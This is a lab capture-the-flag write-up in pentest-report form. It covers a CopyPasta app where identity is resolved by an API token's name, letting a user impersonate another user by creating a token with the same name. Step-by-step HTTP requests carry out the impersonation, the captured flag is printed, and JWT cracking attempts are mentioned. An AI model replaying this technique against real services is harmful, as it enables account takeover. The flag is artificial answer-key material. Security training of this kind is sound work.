CopyPasta: API Token Name Confusion to Cross-User Impersonation
Part 1: Pentest Report
Executive Summary
CopyPasta is a BugForge code-snippet sharing application built on a React single-page frontend and an Express/Node.js JSON API. It authenticates requests with either a Bearer JWT or a personal API token presented in an X-API-Key header. Testing found that the X-API-Key path validates that the presented token value exists but then resolves the acting user from the token’s name rather than from the token’s owner. Any registered user can therefore act as another user by creating a personal token whose name matches the victim’s.
Testing confirmed 1 finding:
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | API token name identity confusion enables cross-user impersonation | High | 8.1 | CWE-287, CWE-639 | GET /api/verify-token (X-API-Key) |
The flaw was exploited end to end against coder123, a regular seeded user whose personal token name (ci) was disclosed in a public snippet. Creating a token of the same name and presenting it returned coder123’s identity context along with the engagement flag. Severity is rated High because only peer impersonation between regular users could be demonstrated: this instance seeds exactly one personal token and the administrator account holds none, so there was no privileged token for the attack to collide with. The same mechanism would yield full takeover of any account that does hold a personal token, which raises the impact to Critical in any deployment that grants one.
Objective
Identify and exploit the planted vulnerability in the BugForge CopyPasta lab and capture the flag.
Scope / Initial Access
# Target Application
URL: https://lab-1781568111200-wep3dl.labs-app.bugforge.io
# Auth details
Self-service registration: POST /api/register, POST /api/login
Credential types: Authorization: Bearer <JWT> (from localStorage "token")
X-API-Key: cp_<personal token> (user-named, created at POST /api/tokens)
Starting privilege: registered regular user (self-registered: haxor, alice_t)
The application accepts two authentication schemes side by side. Both a signed JWT and a personal API token are valid standalone credentials across the key endpoints.
Reconnaissance: classifying a per-route-auth API and its dual credential model
The single-page bundle (main.9a8efcb3.js) was byte-identical to a prior CopyPasta instance, which gave a reusable map of the API surface. Because the planted bug rotates across CopyPasta instances, the surface was re-examined fresh rather than assumed. Authentication is applied per route rather than across a blanket /api prefix, so unauthenticated GET requests classified the bound, gated endpoints (401 JSON) apart from the single-page catch-all (200 text/html).
Observations that shaped the test plan:
- The application exposes two authentication schemes:
Authorization: Bearer(JWT pulled fromlocalStorage) andX-API-Keypersonal tokens (cp_prefix, user-chosen name). Two separate identity-resolution paths existed to test independently. - A personal token carries both a random secret value and a user-supplied name. A credential that pairs a secret with a user-controlled label is worth testing for whether identity keys on the label instead of the secret.
- Public snippets are readable. Snippet id8, owned by coder123, disclosed that coder123 keeps a personal key named
ci, providing a concrete label to attempt to collide with.
Application Architecture
| Component | Detail |
|---|---|
| Backend | Express / Node.js JSON API, global cors middleware (every OPTIONS answered 204) |
| Frontend | React (Create React App) single-page application, bundle main.9a8efcb3.js |
| Auth | Dual: JWT Bearer (localStorage token) and X-API-Key personal tokens (cp_ prefix, user-named) |
| Database | Not observable from the client (no error-based disclosure); tokens expose per-token id, name, and owner |
API Surface
| Endpoint | Method | Auth | Notes |
|---|---|---|---|
/api/register, /api/login |
POST | None | Self-service account creation and login |
/api/snippets/public |
GET | Bearer / X-API-Key | Public snippets; disclosed the ci token name |
/api/tokens |
POST | Bearer | Create a personal token with a user-chosen name |
/api/tokens |
GET | Bearer / X-API-Key | List the caller’s tokens |
/api/verify-token |
GET | Bearer / X-API-Key | Resolves identity from the presented credential; flag delivery point |
Known Users
| Username | ID | Role | Notes |
|---|---|---|---|
| admin | 1 | admin | Holds no personal token (decoy) |
| coder123 | 2 | user | Holds token ci (token id1); impersonation target |
| haxor | 5 | user | Self-registered attacker account |
| alice_t | 6 | user | Self-registered second account (control test) |
Attack Chain Visualization
┌──────────────────────┐ ┌───────────────────────┐ ┌───────────────────────────┐ ┌────────────────────────┐
│ Public snippet id8 │ │ POST /api/tokens │ │ GET /api/verify-token │ │ Response: coder123 │
│ (coder123) leaks the │──▶│ {"name":"ci"} on our │──▶│ X-API-Key: our cp_ token │──▶│ identity + flag │
│ token name "ci" │ │ account → cp_ value │ │ resolves by NAME → id1 │ │ bug{H5q1ZQdFXQAa...} │
└──────────────────────┘ └───────────────────────┘ └───────────────────────────┘ └────────────────────────┘
Findings
F1: API token name identity confusion enables cross-user impersonation
Severity: High
CVSS v3.1: 8.1 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)
CWE: CWE-287 (Improper Authentication), CWE-639 (Authorization Bypass Through User-Controlled Key)
Endpoint: GET /api/verify-token (and any route that accepts X-API-Key)
Authentication required: Yes (any registered regular user)
Description
Authenticating with a personal API token follows two steps, and the defect is in the second:
- The server validates that the presented
X-API-Keyvalue exists. A wrong or bare value returns403 Invalid API key, so the value itself is checked. - The acting user is then resolved by the token’s name, returning the oldest token that carries that name (the lowest token id) and acting as that token’s owner. The
user_idof the row actually matched by the presented value is ignored.
The token value authenticates but does not determine identity; the user-controlled name does. Two tokens that share a name resolve to the same user (the older token’s owner) regardless of who created them or which value is presented.
Severity is bounded at High in this instance: the deployment seeds exactly one personal token (coder123’s ci, token id1), proven by the attacker account’s first-ever token receiving id2. The administrator account (id1) holds no personal token, so no privileged token exists to collide with and administrator takeover could not be demonstrated here. The mechanism would apply identically to any account that does hold a personal token.
Impact
Authentication bypass: a registered user can act as another user of the application (cross-user impersonation).
Reproduction
Step 1: Confirm identity is keyed on the token name (two-account control test)
Two self-registered accounts each create a token named shared.
POST /api/tokens HTTP/1.1
Host: lab-1781568111200-wep3dl.labs-app.bugforge.io
Authorization: Bearer <alice_t JWT>
Content-Type: application/json
{"name":"shared"}
Response: {"id":3,"name":"shared","token":"cp_<value_A>"} (alice_t is user id6; this is token id3).
POST /api/tokens HTTP/1.1
Host: lab-1781568111200-wep3dl.labs-app.bugforge.io
Authorization: Bearer <haxor JWT>
Content-Type: application/json
{"name":"shared"}
Response: {"id":4,"name":"shared","token":"cp_<value_B>"} (haxor is user id5; this is token id4).
Present haxor’s own token value:
GET /api/verify-token HTTP/1.1
Host: lab-1781568111200-wep3dl.labs-app.bugforge.io
X-API-Key: cp_<value_B>
Response: {"user":{"id":6,"username":"alice_t","role":"user"}}. Presenting haxor’s token resolved to alice_t, the owner of the older shared token (id3). Identity follows the name, not the value or the creator.
Step 2: Discover a victim token name
GET /api/snippets/public HTTP/1.1
Host: lab-1781568111200-wep3dl.labs-app.bugforge.io
Authorization: Bearer <haxor JWT>
Response (excerpt): snippet id8, owner coder123, body reads “I keep one personal key named ci”. A concrete victim token name to collide with.
Step 3: Create a token matching the victim’s token name
POST /api/tokens HTTP/1.1
Host: lab-1781568111200-wep3dl.labs-app.bugforge.io
Authorization: Bearer <haxor JWT>
Content-Type: application/json
{"name":"ci"}
Response: {"id":<n>,"name":"ci","token":"cp_<value_ci>"}. A fresh valid token whose name matches coder123’s.
Step 4: Present the token to impersonate coder123 and retrieve the flag
GET /api/verify-token HTTP/1.1
Host: lab-1781568111200-wep3dl.labs-app.bugforge.io
X-API-Key: cp_<value_ci>
Response:
{"user":{"id":2,"username":"coder123","role":"user"},"flag":"bug{H5q1ZQdFXQAaeNokIW7v3xmROpImbPTz}"}
coder123’s ci token is the oldest (token id1), so the name resolves to coder123 (id2). The response carries coder123’s identity context and the flag.
The ci token name was disclosed in a public snippet, but the create endpoint also serves as a name-enumeration probe: create a name, present it, and a resolved id other than your own reveals another user’s token name. No rate limiting was observed on this path.
Remediation
Fix 1: Resolve identity from the matched token row’s owner, never from a name lookup
// BEFORE (Vulnerable; reconstructed, no source available)
// the token value is validated, then identity is resolved by name
const presented = await db.apiToken.findOne({ where: { token: apiKey } });
if (!presented) return res.status(403).json({ error: 'Invalid API key' });
const user = await db.user.findOne({
include: [{ model: db.apiToken, where: { name: presented.name } }],
order: [[db.apiToken, 'id', 'ASC']],
});
// AFTER (Secure)
const presented = await db.apiToken.findOne({ where: { token: apiKey } });
if (!presented) return res.status(403).json({ error: 'Invalid API key' });
const user = await db.user.findByPk(presented.userId); // owner of the row matched by value
Additional recommendations:
- Treat a token’s name strictly as a display label. It must never participate in identity or authorization resolution.
- Apply rate limiting and monitoring to
POST /api/tokensandGET /api/verify-tokento limit name-enumeration probing. - Confirm every route that accepts
X-API-Keyresolves the caller from the matched token’s owner, since the credential is valid standalone across the API.
OWASP Top 10 Coverage
- A01:2021 Broken Access Control: A registered user can act as another user by naming a personal token to match the victim’s, and the impersonation reaches any endpoint that accepts the
X-API-Keycredential. - A07:2021 Identification and Authentication Failures: A valid credential authenticates, but the acting identity is resolved from a user-controlled token name rather than from the authenticated token’s owner.
Tools Used
| Tool | Purpose |
|---|---|
| Caido | Intercepting proxy; request capture and replay |
| curl | Manual API requests for the control test and exploit |
| hashcat | JWT HS256 secret-cracking attempt (ruled out) |
| jwtforge | JWT forgery test, alg=none (ruled out) |
References
- CWE-287: Improper Authentication
- CWE-639: Authorization Bypass Through User-Controlled Key
- OWASP Top 10 2021: A01 Broken Access Control
- OWASP Top 10 2021: A07 Identification and Authentication Failures
Part 2: Notes / Knowledge
Key Learnings
-
Test authentication and authorization vulnerabilities against two separate users, not just one. A hypothesis about a relationship between principals (impersonation, IDOR, same-name collisions, cache-key or session bleed) cannot be falsified by a single-actor probe, because the confusion only exists once two principals collide. On this target the token-name angle was written off after single-user testing; the flaw surfaced only when two accounts each created a token with the same name and presenting either one resolved to the older token’s owner. Treat a single-actor “no bug” result as untested, not cleared, for any cross-user class, and instantiate the literal two-actor scenario before concluding a negative.
-
When a credential value tests random, stop cracking it and attack how it’s consumed. A token that differs for identical inputs, matches no offline hash or HMAC construction, shows no byte structure, and is validated by strict exact match is unforgeable by design; continuing to attack the value burns time. Pivot to what the server does with it: how the value is validated, what it is used as a lookup key for, and how identity or authorization is resolved from it. Here a full session went to cracking a random token value before the real defect turned out to be identity resolved by the token’s name, not its value. A “cryptographic” hint described a logic flaw, not a weak secret.
-
When an app accepts multiple authentication schemes, test each one independently across the key endpoints. Different schemes frequently resolve identity through different code, so a flaw on one path can be invisible from the other. This application accepted both a Bearer JWT and an
X-API-Keypersonal token; the name-keyed identity confusion existed only on theX-API-Keypath, while Bearer resolved identity from signed JWT claims and was unaffected. Re-hit the key endpoints with each scheme alone, strip the others, and compare which identity each resolves rather than assuming a shared resolution path.
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
Crack the API token value (treat cp_ value as crypto-weak) |
Value is genuinely random (24 bytes), strict exact-value validation, no offline hash/HMAC construction matched | The defect is identity-resolution logic (name-keyed lookup), not a weak token value; the value is unforgeable by design |
JWT HS256 weak-secret crack (hashcat -m 16500 vs jwt-secrets + rockyou) |
No secret recovered | The HS256 signing secret is not in common wordlists |
JWT alg=none forgery |
403 |
Unsigned tokens are rejected |
| OPTIONS Allow-header verb sweep | 204 on every path, no useful Allow header |
Global cors middleware answers all preflight before the router; real-verb plus content-type classification was used instead |
DELETE on collections / tokens (access-control probe) |
403 / 404 |
Properly access-controlled |
Tags: #bugforge #webapp #authentication-bypass #impersonation #api-tokens #idor
Document Version: 1.0
Last Updated: 2026-06-17